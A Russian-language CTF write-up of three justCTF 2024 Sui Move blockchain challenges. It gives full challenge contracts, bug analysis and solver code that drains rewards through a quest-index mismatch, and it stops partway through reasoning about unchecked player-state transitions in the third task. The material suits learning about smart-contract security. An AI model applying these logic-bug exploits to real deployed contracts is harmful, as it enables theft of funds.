Рустам Гусейнов

председатель кооператива РАД КОП

Статья написана нашим товарищем Ратмиром Карабутом (https://ratmirkarabut.com) , который тренирует команду РАД КОП в рамках развивающейся CTF практики, специально для кооператива.

Среди нескольких задач, которые мне удалось решить на недавнем 24-часовом квалификационном раунде justCTF, три относились к категории блокчейна и в основе своей имели простые игры-контракты на Move, размещенные в тестнете Sui. Каждая представляла собой сервис, принимающий контракт-солвер и проверяющий условия решения при его взаимодействии с опубликованным контрактом-челленджем, чтобы при их выполнении отдать флаг.

Ни одна из них не выглядит особенно трудной, но, судя по количеству решений, немногие из участвующих команд взялись за категорию в целом, поэтому в сравнении с другими сходными по сложности флагами эти три задачи благодаря динамическому скорингу приносили вместе значительное количество очков. Первая по сложности и вовсе скорее напоминала микчек-разминку с тривиальным решением, вторая была более вовлеченной, но загадка в третьей показалась мне действительно забавной, что и вдохновило меня на эту статью. Стоит, тем не менее, описать все по порядку.

Рустам Гусейнов

председатель кооператива РАД КОП

Когда мы с товарищами по кооперативу впервые приехали в гости к Ратмиру в январе 2022 года меня поразила систематичность его мышления. Помню его лекцию по книге Дьердя Пойя «Как решать задачу», и демонстрация того, насколько мышление хакера похоже на мышление математика, решающего задачу. Очень рекомендую её к прочтению, потому что изложенная методология проста в освоении и здорово «ставит мозги на место», вот пара цитат:

«Глупо отвечать на вопрос, который вы не поняли. Невесело работать для цели, к которой вы не стремитесь. Такие глупые и невесёлые вещи часто случаются как в школе, так и вне её, однако учителю следует стараться предотвращать их в своём классе. Ученик должен понять задачу. Но не только понять; он должен хотеть решить её. Если ученику не хватает понимания задачи или интереса к ней, это не всегда его вина. Задача должна быть умело выбрана, она должна быть не слишком трудной и не слишком лёгкой, быть естественной и интересной, причём некоторое время нужно уделять для её естественной и интересной интерпретации».

«Путь от понимания постановки задачи до представления себе плана решения может быть долгим и извилистым. И действительно, главный шаг на пути к решению задачи состоит в том, чтобы выработать идею плана. Эта идея может появляться постепенно. Или она может возникнуть вдруг, в один миг, после, казалось бы, безуспешных попыток и продолжительных сомнений. Тогда мы назовем её «блестящей идеей».

Лучшее, что может сделать учитель для учащегося, состоит в том, чтобы путём неназойливой помощи подсказать ему блестящую идею».

Дьердь Пойа и его книга "Как решить задачу"
Дьердь Пойа и его книга "Как решить задачу"

[The Otter Scrolls] - easy (246 points, 33 solves)

Исходник контракта:

https://2024.justctf.team/challenges/11

module challenge::theotterscrolls {

// ---------------------------------------------------
// DEPENDENCIES
// ---------------------------------------------------

use sui::table::{Self, Table};
use std::string::{Self, String};
use std::debug;

// ---------------------------------------------------
// STRUCTS
// ---------------------------------------------------

public struct Spellbook has key {
    id: UID,
    casted: bool,
    spells: Table<u8, vector<String>>
}

// ---------------------------------------------------
// FUNCTIONS
// ---------------------------------------------------

//The spell consists of five magic words, which have to be read in the correct order!

fun init(ctx: &mut TxContext) {
    
    let mut all_words = table::new(ctx);

    let fire = vector[
        string::utf8(b"Blast"),
        string::utf8(b"Inferno"),
        string::utf8(b"Pyre"),
        string::utf8(b"Fenix"),
        string::utf8(b"Ember")
    ];

    let wind = vector[
        string::utf8(b"Zephyr"),
        string::utf8(b"Swirl"),
        string::utf8(b"Breeze"),
        string::utf8(b"Gust"),
        string::utf8(b"Sigil")
    ];

    let water = vector[
        string::utf8(b"Aquarius"),
        string::utf8(b"Mistwalker"),
        string::utf8(b"Waves"),
        string::utf8(b"Call"),
        string::utf8(b"Storm")
    ];

    let earth = vector[
        string::utf8(b"Tremor"),
        string::utf8(b"Stoneheart"),
        string::utf8(b"Grip"),
        string::utf8(b"Granite"),
        string::utf8(b"Mudslide")
    ];

    let power = vector[
        string::utf8(b"Alakazam"),
        string::utf8(b"Hocus"),
        string::utf8(b"Pocus"),
        string::utf8(b"Wazzup"),
        string::utf8(b"Wrath")
    ];

    table::add(&mut all_words, 0, fire); 
    table::add(&mut all_words, 1, wind); 
    table::add(&mut all_words, 2, water); 
    table::add(&mut all_words, 3, earth); 
    table::add(&mut all_words, 4, power); 

    let spellbook = Spellbook {
        id: object::new(ctx),
        casted: false,
        spells: all_words
    };

    transfer::share_object(spellbook);
}

public fun cast_spell(spell_sequence: vector<u64>, book: &mut Spellbook) {

    let fire = table::remove(&mut book.spells, 0);
    let wind = table::remove(&mut book.spells, 1);
    let water = table::remove(&mut book.spells, 2);
    let earth = table::remove(&mut book.spells, 3);
    let power = table::remove(&mut book.spells, 4);

    let fire_word_id = *vector::borrow(&spell_sequence, 0);
    let wind_word_id = *vector::borrow(&spell_sequence, 1);
    let water_word_id = *vector::borrow(&spell_sequence, 2);
    let earth_word_id = *vector::borrow(&spell_sequence, 3);
    let power_word_id = *vector::borrow(&spell_sequence, 4);

    let fire_word = vector::borrow(&fire, fire_word_id);
    let wind_word = vector::borrow(&wind, wind_word_id);
    let water_word = vector::borrow(&water, water_word_id);
    let earth_word = vector::borrow(&earth, earth_word_id);
    let power_word = vector::borrow(&power, power_word_id);

    if (fire_word == string::utf8(b"Inferno")) {
        if (wind_word == string::utf8(b"Zephyr")) {
            if (water_word == string::utf8(b"Call")) {
                if (earth_word == string::utf8(b"Granite")) {
                    if (power_word == string::utf8(b"Wazzup")) {
                        book.casted = true;
                    }
                }
            }
        }
    }

}

public fun check_if_spell_casted(book: &Spellbook): bool {
    let casted = book.casted;
    assert!(casted == true, 1337);
    casted
}

}

Общий смысл первой задачи, The Otter Scrolls, заключался в освоении процесса работы с предоставленным фреймворком - пробежав глазами контракт, понимаем, что нужно только отправить ему вектор с правильной последовательностью индексов, даже не обфусцированной в исходниках контракта, и вызвать после этого необходимые для получения флага функции. Для этого достаточно дописать в тело `solve()` в выданном `sources/framework-solve/solve/sources/solve.move`:

public fun solve(
    _spellbook: &mut theotterscrolls::Spellbook,
    _ctx: &mut TxContext
) {
    let spell = vector[1u64,0,3,3,3];
    theotterscrolls::cast_spell(spell, _spellbook);
    theotterscrolls::check_if_spell_casted(_spellbook);
}

После этого нужно прописать в `sources/framework-solve/dependency/Move.toml` верный адрес челлендж-контракта (его можно получить, напрямую постучавшись к сервису по выданному в условии адресу с помощью `nc tos.nc.jsctf.pro 31337`):

```toml
...
[addresses]             
admin = "0xfccc9a421bbb13c1a66a1aa98f0ad75029ede94857779c6915b44f94068b921e"                 
challenge = "542fe29e11d10314d3330e060c64f8fb9cd341981279432b03b2bd51cf5d489b"    
```

Запустив после этого `HOST=tos.nc.jctf.pro ./runclient.sh` (и, конечно, установив [Sui] (https://docs.sui.io/guides/developer/getting-started/sui-install#install-sui-binaries-from-source)), получаем от сервиса первый флаг.

[Dark BrOTTERhood] - medium (275 points, 25 solves)

Исходник контракта:

https://2024.justctf.team/challenges/13

module challenge::Otter {

// ---------------------------------------------------
// DEPENDENCIES
// ---------------------------------------------------

use sui::coin::{Self, Coin};
use sui::balance::{Self, Supply};
use sui::url;
use sui::random::{Self, Random};
use sui::table::{Self, Table};

// ---------------------------------------------------
// CONST
// ---------------------------------------------------

const NEW: u64 = 1;
const WON: u64 = 2;
const FINISHED: u64 = 3;

const WRONG_AMOUNT: u64 = 1337;
const BETTER_BRING_A_KNIFE_TO_A_GUNFIGHT: u64 = 1338;
const WRONG_STATE: u64 = 1339;
const ALREADY_REGISTERED: u64 = 1340;
const NOT_REGISTERED: u64 = 1341;
const TOO_MUCH_MONSTERS: u64 = 1342;
const NOT_SOLVED: u64 = 1343;

const QUEST_LIMIT: u64 = 25;
// ---------------------------------------------------
// STRUCTS
// ---------------------------------------------------

public struct OTTER has drop {}

public struct OsecSuply<phantom CoinType> has key {
    id: UID,
    supply: Supply<CoinType>
}

public struct Vault<phantom CoinType> has key {
    id: UID,
    cash: Coin<CoinType>
}

public struct Monster has store {
    fight_status: u64,
    reward: u8,
    power: u8
}

public struct QuestBoard has key, store {
    id: UID,
    quests: vector<Monster>,
    players: Table<address, bool>
}

public struct Flag has key, store {
    id: UID,
    user: address,
    flag: bool
}

public struct Player has key, store {
    id: UID,
    user: address,
    coins: Coin<OTTER>,
    power: u8
}

// ---------------------------------------------------
// MINT CASH
// ---------------------------------------------------

fun init(witness: OTTER, ctx: &mut TxContext) {
    let (mut treasury, metadata) = coin::create_currency(
        witness, 9, b"OSEC", b"Osec", b"Otter ca$h", option::some(url::new_unsafe_from_bytes(b"https://osec.io/")), ctx
    );
    transfer::public_freeze_object(metadata);

    let pool_liquidity = coin::mint<OTTER>(&mut treasury, 50000, ctx);

    let vault = Vault<OTTER> {
        id: object::new(ctx),
        cash: pool_liquidity
    };

    let supply = coin::treasury_into_supply(treasury);

    let osec_supply = OsecSuply<OTTER> {
        id: object::new(ctx),
        supply
    };

    transfer::transfer(osec_supply, tx_context::sender(ctx));

    transfer::share_object(QuestBoard {
        id: object::new(ctx),
        quests: vector::empty(),
        players: table::new(ctx)
    });

    transfer::share_object(vault);
}

public fun mint(sup: &mut OsecSuply<OTTER>, amount: u64, ctx: &mut TxContext): Coin<OTTER> {
    let osecBalance = balance::increase_supply(&mut sup.supply, amount);
    coin::from_balance(osecBalance, ctx)
}

public entry fun mint_to(sup: &mut OsecSuply<OTTER>, amount: u64, to: address, ctx: &mut TxContext) {
    let osec = mint(sup, amount, ctx);
    transfer::public_transfer(osec, to);
}

public fun burn(sup: &mut OsecSuply<OTTER>, c: Coin<OTTER>): u64 {
    balance::decrease_supply(&mut sup.supply, coin::into_balance(c))
}

// ---------------------------------------------------
// REGISTER
// ---------------------------------------------------

public fun register(sup: &mut OsecSuply<OTTER>, board: &mut QuestBoard, player: address, ctx: &mut TxContext) {
    assert!(!table::contains(&board.players, player), ALREADY_REGISTERED);

    table::add(&mut board.players, player, false);

    transfer::transfer(Player {
        id: object::new(ctx),
        user: tx_context::sender(ctx),
        coins: mint(sup, 137, ctx),
        power: 10
    }, player);
}

// ---------------------------------------------------
// SHOP
// ---------------------------------------------------

#[allow(lint(self_transfer))]
public fun buy_flag(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext): Flag {
    assert!(coin::value(&player.coins) >= 1337, WRONG_AMOUNT);

    let coins = coin::split(&mut player.coins, 1337, ctx);
    coin::join(&mut vault.cash, coins);

    Flag {
        id: object::new(ctx),
        user: tx_context::sender(ctx),
        flag: true
    }
}

public fun buy_sword(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext) {
    assert!(coin::value(&player.coins) >= 137, WRONG_AMOUNT);

    let coins = coin::split(&mut player.coins, 137, ctx);
    coin::join(&mut vault.cash, coins);

    player.power = player.power + 100;
}

// ---------------------------------------------------
// ADVENTURE TIME
// ---------------------------------------------------

#[allow(lint(public_random))]
public fun find_a_monster(board: &mut QuestBoard, r: &Random, ctx: &mut TxContext) {
    assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MUCH_MONSTERS);

    let mut generator = random::new_generator(r, ctx);

    let quest = Monster {
        fight_status: NEW,
        reward: random::generate_u8_in_range(&mut generator, 13, 37),
        power: random::generate_u8_in_range(&mut generator, 13, 73)
    };

    vector::push_back(&mut board.quests, quest);

}

public fun fight_monster(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
    let quest = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(quest.fight_status == NEW, WRONG_STATE);
    assert!(player.power > quest.power, BETTER_BRING_A_KNIFE_TO_A_GUNFIGHT);

    player.power = 10; // sword breaks after fighting the monster :c

    quest.fight_status = WON;
}

public fun return_home(board: &mut QuestBoard, quest_id: u64) {
    let quest_to_finish = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(quest_to_finish.fight_status == WON, WRONG_STATE);

    quest_to_finish.fight_status = FINISHED;
}

#[allow(lint(self_transfer))]
public fun get_the_reward(
    vault: &mut Vault<OTTER>,
    board: &mut QuestBoard,
    player: &mut Player,
    quest_id: u64,
    ctx: &mut TxContext,
) {
    let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);

    let monster = vector::pop_back(&mut board.quests);

    let Monster {
        fight_status: _,
        reward: reward,
        power: _
    } = monster;

    let coins = coin::split(&mut vault.cash, (reward as u64), ctx); 
    coin::join(&mut player.coins, coins);
}

// ---------------------------------------------------
// PROVE SOLUTION
// ---------------------------------------------------

public fun prove(board: &mut QuestBoard, flag: Flag) {
    let Flag {
        id,
        user,
        flag
    } = flag;

    object::delete(id);

    assert!(table::contains(&board.players, user), NOT_REGISTERED);
    assert!(flag, NOT_SOLVED);
    *table::borrow_mut(&mut board.players, user) = true;
}

// ---------------------------------------------------
// CHECK WINNER
// ---------------------------------------------------

public fun check_winner(board: &QuestBoard, player: address) {
    assert!(*table::borrow(&board.players, player) == true, NOT_SOLVED);
}

}

Анализ

Пробежав глазами второй контракт, видим, что основная интересующая нас игровая логика находится после стандартной обвязки в функциях секций SHOP и ADVENTURE TIME. При регистрации игрок получает 137 монет и 10 силы; вызвав функцию `find_a_monster()`, мы можем добавить в вектор `board.quests` "монстра" со случайными значениями силы (от 13 до 37) и награды (от 13 до 73), а также состоянием `NEW`.  `fight_monster()` позволяет нам победить монстра из вектора квестов, если он находится в состоянии `NEW`, а его сила меньше силы игрока, сбрасывает в этом случае силу игрока к 10 и меняет состояние квеста на `WON`.

Чтобы получить необходимую для победы силу, придется вызвать `buy_sword()` - "меч" увеличит силу на 100 (что гарантирует выполнение условия из `fight_monster()`), но будет стоить игроку 137 монет - то есть все полученные изначально деньги. Так как максимальная награда за монстра - всего 73 монеты, первый же "бой" сделает продолжение игры по ее предполагаемой логике невозможным - по функции `buy_flag` ясно, что для покупки флага нам потребуется 1337 монет.

Оставшиеся игровые функции - `return_home()`, смысл которой заключается в простом переключении состояния выбранного квеста с `WON` на `FINISHED`, и `get_the_reward()`, которая проверяет состояние `FINISHED` и выдает игроку награду. К ней-то нам и следует присмотреться внимательнее:

    #[allow(lint(self_transfer))]
    public fun get_the_reward(
        vault: &mut Vault<OTTER>,
        board: &mut QuestBoard,
        player: &mut Player,
        quest_id: u64,
        ctx: &mut TxContext,
    ) {
        let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
        assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);

        let monster = vector::pop_back(&mut board.quests);

        let Monster {
            fight_status: _,
            reward: reward,
            power: _
        } = monster;

        let coins = coin::split(&mut vault.cash, (reward as u64), ctx); 
        coin::join(&mut player.coins, coins);
    }

Ключевая деталь, бросающаяся в глаза - несоответствие _проверяемого_ квеста квесту, _убираемому_ из вектора; хотя нам позволено указать индекс квеста, за который мы хотим получить награду, и именно его состояние необходимо установить в `FINISHED`, из вектора убирается не он сам, а последний элемент вектора - через `vector::pop_back()` ([Vector - The Move Book](https://move-language.github.io/move/vector.html#operations))!

Эксплуатация

Выходит, что, так как ничто не мешает нам наполнить вектор произвольным (до `QUEST_LIMIT` - 25) количеством квестов, мы можем потребовать у игры двух монстров, победить первого, купив меч - что позволяют начальные условия - перевести тем самым состояние квеста 0 в `WON`, затем в `FINISHED` при помощи `return_home()`, затем, указав его индекс в `get_the_reward()`, получить награду за _второго_ - последнего в векторе - монстра, оставив при этом первого в состоянии `FINISHED`. Вызывая после этого `find_a_monster()` и `get_the_reward()` необходимое - неограниченное - количество раз, мы можем гарантированно заработать на флаг примерно за сотню повторений.

Допишем решение в `solve()`:

    public fun solve(
        _vault: &mut Otter::Vault<OTTER>,
        _board: &mut Otter::QuestBoard,
        _player: &mut Otter::Player,
        _r: &Random,
        _ctx: &mut TxContext,
    ) {
        Otter::buy_sword(_vault, _player, _ctx);

        Otter::find_a_monster(_board, _r, _ctx);
        Otter::fight_monster(_board, _player, 0);        
        Otter::return_home(_board, 0);
        
        let mut i = 0;
        loop {
            Otter::find_a_monster(_board, _r, _ctx);
            Otter::get_the_reward(_vault, _board, _player, 0, _ctx);
            i = i + 1;
            if (i == 100) break;
        };

        let flag = Otter::buy_flag(_vault, _player, _ctx);
        Otter::prove(_board, flag);
    }

После чего, аналогично первой задаче, получаем и прописываем в `sources/framework-solve/dependency/Move.toml` адрес контракта и, запустив клиент, получаем второй флаг.

[World of Ottercraft] - hard (271 points, 26 solves)

Исходник контакта:

https://2024.justctf.team/challenges/12

module challenge::Otter {

// ---------------------------------------------------
// DEPENDENCIES
// ---------------------------------------------------

use sui::coin::{Self, Coin};
use sui::balance::{Self, Balance, Supply};
use sui::table::{Self, Table};
use sui::url;

// ---------------------------------------------------
// CONST
// ---------------------------------------------------

// STATUSES
const PREPARE_FOR_TROUBLE: u64 = 1;
const ON_ADVENTURE: u64 = 2;
const RESTING: u64 = 3;
const SHOPPING: u64 = 4;
const FINISHED: u64 = 5;

// ERROR CODES
const WRONG_AMOUNT: u64 = 1337;
const BETTER_GET_EQUIPPED: u64 = 1338;
const WRONG_PLAYER_STATE: u64 = 1339;
const ALREADY_REGISTERED: u64 = 1340;
const TOO_MANY_MONSTERS: u64 = 1341;
const BUY_SOMETHING: u64 = 1342;
const NO_SUCH_PLAYER: u64 = 1343;
const NOT_SOLVED: u64 = 1344;

// LIMITS
const QUEST_LIMIT: u64 = 25;

// ---------------------------------------------------
// STRUCTS
// ---------------------------------------------------

public struct OTTER has drop {}

public struct OsecSuply<phantom CoinType> has key {
    id: UID,
    supply: Supply<CoinType>
}

public struct Vault<phantom CoinType> has key {
    id: UID,
    cash: Coin<CoinType>
}

public struct Monster has store {
    reward: u64,
    power: u64
}

public struct QuestBoard has key, store {
    id: UID,
    quests: vector<Monster>,
    players: Table<address, bool> //<player_address, win_status>
}

public struct Player has key, store {
    id: UID,
    user: address,
    power: u64,
    status: u64,
    quest_index: u64,
    wallet: Balance<OTTER>
}

public struct TawernTicket {
    total: u64,
    flag_bought: bool
}

// ---------------------------------------------------
// MINT CASH
// ---------------------------------------------------

fun init(witness: OTTER, ctx: &mut TxContext) {
    let (mut treasury, metadata) = coin::create_currency(witness, 9, b"OSEC", b"Osec", b"Otter ca$h", option::some(url::new_unsafe_from_bytes(b"https://osec.io/")), ctx);
    transfer::public_freeze_object(metadata);

    let pool_liquidity = coin::mint<OTTER>(&mut treasury, 50000, ctx);

    let vault = Vault<OTTER> {
        id: object::new(ctx),
        cash: pool_liquidity
    };

    let supply = coin::treasury_into_supply(treasury);

    let osec_supply = OsecSuply {
        id: object::new(ctx),
        supply
    };

    transfer::transfer(osec_supply, tx_context::sender(ctx));

    transfer::share_object(QuestBoard {
        id: object::new(ctx),
        quests: vector::empty(),
        players: table::new(ctx)
    });

    transfer::share_object(vault);
}

public fun mint(sup: &mut OsecSuply<OTTER>, amount: u64, ctx: &mut TxContext): Coin<OTTER> {
    let osecBalance = balance::increase_supply(&mut sup.supply, amount);
    coin::from_balance(osecBalance, ctx)
}

public entry fun mint_to(sup: &mut OsecSuply<OTTER>, amount: u64, to: address, ctx: &mut TxContext) {
    let osec = mint(sup, amount, ctx);
    transfer::public_transfer(osec, to);
}

public fun burn(sup: &mut OsecSuply<OTTER>, c: Coin<OTTER>): u64 {
    balance::decrease_supply(&mut sup.supply, coin::into_balance(c))
}

// ---------------------------------------------------
// REGISTER - ADMIN FUNCTION
// ---------------------------------------------------

public fun register(_: &mut OsecSuply<OTTER>, board: &mut QuestBoard, vault: &mut Vault<OTTER>, player: address, ctx: &mut TxContext) {
    assert!(!table::contains(&board.players, player), ALREADY_REGISTERED);

    let new_cash = coin::into_balance(coin::split(&mut vault.cash, 250, ctx));

    let new_player_obj = Player {
        id: object::new(ctx),
        user: player,
        power: 10,
        status: RESTING,
        quest_index: 0,
        wallet: new_cash
    };

    table::add(&mut board.players, player, false);

    transfer::transfer(new_player_obj, player);
}

public fun check_winner(board: &QuestBoard, player: address) {
    assert!(table::contains(&board.players, player), NO_SUCH_PLAYER);
    assert!(table::borrow(&board.players, player) == true, NOT_SOLVED);
}

// ---------------------------------------------------
// TAVERN
// ---------------------------------------------------

public fun enter_tavern(player: &mut Player): TawernTicket {
    assert!(player.status == RESTING, WRONG_PLAYER_STATE);

    player.status = SHOPPING;

    TawernTicket{ total: 0, flag_bought: false }
}

public fun buy_flag(ticket: &mut TawernTicket, player: &mut Player) {
    assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

    ticket.total = ticket.total + 537;
    ticket.flag_bought = true;
}

public fun buy_sword(player: &mut Player, ticket: &mut TawernTicket) {
    assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

    player.power = player.power + 213;
    ticket.total = ticket.total + 140;
}

public fun buy_shield(player: &mut Player, ticket: &mut TawernTicket) {
    assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

    player.power = player.power + 7;
    ticket.total = ticket.total + 20;
}

public fun buy_power_of_friendship(player: &mut Player, ticket: &mut TawernTicket) {
    assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

    player.power = player.power + 9000; //it's over 9000!
    ticket.total = ticket.total + 190;
}

public fun checkout(ticket: TawernTicket, player: &mut Player, ctx: &mut TxContext, vault: &mut Vault<OTTER>, board: &mut QuestBoard) {
    let TawernTicket{ total, flag_bought } = ticket;

    assert!(total > 0, BUY_SOMETHING);  
    assert!(balance::value<OTTER>(&player.wallet) >= total, WRONG_AMOUNT);

    let balance = balance::split(&mut player.wallet, total);
    let coins = coin::from_balance(balance, ctx);

    coin::join(&mut vault.cash, coins);

    if (flag_bought == true) {

        let flag = table::borrow_mut(&mut board.players, tx_context::sender(ctx));
        *flag = true;

        std::debug::print(&std::string::utf8(b"$$$$$$$$$$$$$$$$$$$$$$$$$ FLAG BOUGHT $$$$$$$$$$$$$$$$$$$$$$$$$")); //debug
    };

    player.status = RESTING;
}

// ---------------------------------------------------
// ADVENTURE TIME
// ---------------------------------------------------

public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
    assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);

    let quest = if (vector::length(&board.quests) % 3 == 0) {
        Monster {
            reward: 100,
            power: 73
        }
    } else if (vector::length(&board.quests) % 3 == 1) {
        Monster {
            reward: 62,
            power: 81
        }
    } else {
        Monster {
            reward: 79,
            power: 94
        }
    };

    vector::push_back(&mut board.quests, quest);
    player.status = PREPARE_FOR_TROUBLE;
}

public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(player.power > monster.power, BETTER_GET_EQUIPPED);

    player.status = ON_ADVENTURE;

    player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
    monster.power = 0; //you win! wow!
    player.quest_index = quest_id;
}

public fun return_home(board: &mut QuestBoard, player: &mut Player) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);

    let quest_to_finish = vector::borrow(&board.quests, player.quest_index);
    assert!(quest_to_finish.power == 0, WRONG_AMOUNT);

    player.status = FINISHED;
}

public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) {
    assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::remove(&mut board.quests, player.quest_index);

    let Monster {
        reward: reward,
        power: _
    } = monster;

    let coins = coin::split(&mut vault.cash, reward, ctx); 
    let balance = coin::into_balance(coins);

    balance::join(&mut player.wallet, balance);

    player.status = RESTING;
}

}

Анализ

Игра в третьем контракте похожа на предыдущую, но устроена очевидно сложнее. Теперь отслеживается состояние самого игрока, а не монстра, и состояний  пять - `PREPARE_FOR_TROUBLE`, `ON_ADVENTURE`, `RESTING`, `SHOPPING` и `FINISHED`. Далее, теперь для покупки силы (и флага) придется заходить в "таверну", вызвав функцию `enter_tavern()` - это переключит состояние игрока из необходимого (и начального) `RESTING` в `SHOPPING`, что проверяется всеми функциями покупки, и вернет переменную типа `TawernTicket`, которая по правилам Move должна быть потреблена внутри вызывающего контракта - это можно сделать только при помощи функции `checkout()`. Таким образом, игрок набирает "корзину" покупок и выходит из "таверны", снова переводя состояние в `RESTING`. Из `register()` ясно, что на этот раз мы начинаем с 250 монетами.

Функций покупки теперь четыре - `buy_flag()` устанавливает соответствующий флаг `ticket` (который позже проверяется в `checkout()`, приводя к победе) и увеличивает сумму на 537 монет, `buy_sword()`, `buy_shield()` и `buy_power_of_friendship()` же увеличивают силу игрока на 213, 7 и 9000 за 140, 20 и 190 монет соответственно.

Здесь можно сразу заметить, что **сила при покупке увеличивается моментально**, не требуя проверки на то, что необходимая для покупки сумма действительно имеется на счету игрока - такая проверка происходит только в самом `checkout()`, как и проверка на то, что общая стоимость выше 0 - не купив чего-то, выйти из таверны нельзя. 

Кроме того, интересно, что, в отличие от функций покупки, `checkout()` вовсе не проверяет состояние игрока - очевидно, **расплатиться можно, и не находясь в "таверне"**. Запомним это на будущее.

Секция ADVENTURE TIME по-прежнему состоит из четырех функций - `find_a_monster()`, `bring_it_on()`, `return_home()` и `get_the_reward()`. Разберемся поподробнее:

public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
    assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);

    let quest = if (vector::length(&board.quests) % 3 == 0) {
        Monster {
            reward: 100,
            power: 73
        }
    } else if (vector::length(&board.quests) % 3 == 1) {
        Monster {
            reward: 62,
            power: 81
        }
    } else {
        Monster {
            reward: 79,
            power: 94
        }
    };

    vector::push_back(&mut board.quests, quest);
    player.status = PREPARE_FOR_TROUBLE;
}

`find_a_monster()` на этот раз не наделяет монстров случайными параметрами, а раздает награду и силу в зависимости от того, сколько монстров уже есть в векторе. Состояние переключается в `PREPARE_FOR_TROUBLE`, но интересно, что проверка в функции не требует определенного состояния, а не пускает только игроков в состояниях `SHOPPING`, `FINISHED` и `ON_ADVENTURE`. Деталь на первый взгляд кажется невинной, но все же запомним - **вызывать `find_a_monster()` можно неограниченное количество раз подряд**.

public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(player.power > monster.power, BETTER_GET_EQUIPPED);

    player.status = ON_ADVENTURE;

    player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
    monster.power = 0; //you win! wow!
    player.quest_index = quest_id;
}

`bring_it_on()` так же проверяет состояние игрока на _несоответствие_, но на этот раз вариантов, кроме `BRING_IT_ON`, не остается - поэтому функция может быть вызвана только после `find_a_monster()`, что выглядит корректно. Как и в Dark BrOTTERhood, игрок может выбрать произвольного монстра из вектора, чтобы помериться с ним силой. В случае победы состояние переходит в `ON_ADVENTURE`, сила игрока сбрасывается в 10, сила монстра устанавливается в 0, `player.quest_index` (изначально 0) - в индекс монстра.

public fun return_home(board: &mut QuestBoard, player: &mut Player) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);

    let quest_to_finish = vector::borrow(&board.quests, player.quest_index);
    assert!(quest_to_finish.power == 0, WRONG_AMOUNT);

    player.status = FINISHED;
}

`return_home()` опять же корректно, хотя и неуклюже, проверяет состояние и может быть вызвана, видимо, только после `bring_it_on()` - статус переключается из `ON_ADVENTURE` в `FINISHED`, если сила монстра по индексу в `player.quest_index` равна нулю.

public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) {
    assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::remove(&mut board.quests, player.quest_index);

    let Monster {
        reward: reward,
        power: _
    } = monster;

    let coins = coin::split(&mut vault.cash, reward, ctx); 
    let balance = coin::into_balance(coins);

    balance::join(&mut player.wallet, balance);

    player.status = RESTING;
}

Наконец, `get_the_reward()` снова недопроверяет состояние - видим, что кроме подразумеваемого `FINISHED` **получить награду за квест можно не выходя из таверны**, то есть в статусе `SHOPPING`. В отличие от Dark BrOTTERhood, впрочем, похоже, что побежденный монстр корректно убирается из вектора - во всяком случае, используется `player.quest_index`, и произвольно указать индекс нельзя. Игрок же получает монеты и переходит в изначальный `RESTING`.

Эксплуатация

Для начала подведем итоги найденным багам:

1. сила игрока увеличивается в таверне до проверки на платежеспособность

2. расплатиться по чеку таверны можно откуда угодно, то есть из любого состояния

3. искать монстров, то есть добавлять их в список, можно много раз подряд (возможно, фича?)

4. получить награду за побежденного монстра (и вернуться на заслуженный отдых) можно прямо из таверны

Покрутив эти четыре пункта в голове так и эдак, осознаем, во-первых - **награду за монстра, полученную в таверне, можно тут же использовать для покупки**! В самом деле, если награда получается из таверны с переключением статуса в `RESTING`, а `checkout()` статус не проверяет вовсе, получить `TawernTicket` и расплатиться по нему можно, на деле увеличив, а не уменьшив, сумму на счету - без покупки обойтись нельзя, но для выполнения этого условия мы можем покупать дешевые щиты, которые полученная награда всегда будет перевешивать. Так как `get_the_reward()` использует неизменный `player.quest_index`, а также - во-вторых - **не выполняет никаких проверок на состояние самого квеста** (ведь сила монстра учитывается только в `bring_it_on()` и `return_home()`) - то нам было бы достаточно выстроить очередь из монстров на заклание, послушно сдвигающуюся к нашему (предпочтительно нулевому) индексу при каждом новом вызове `get_the_reward()`. 

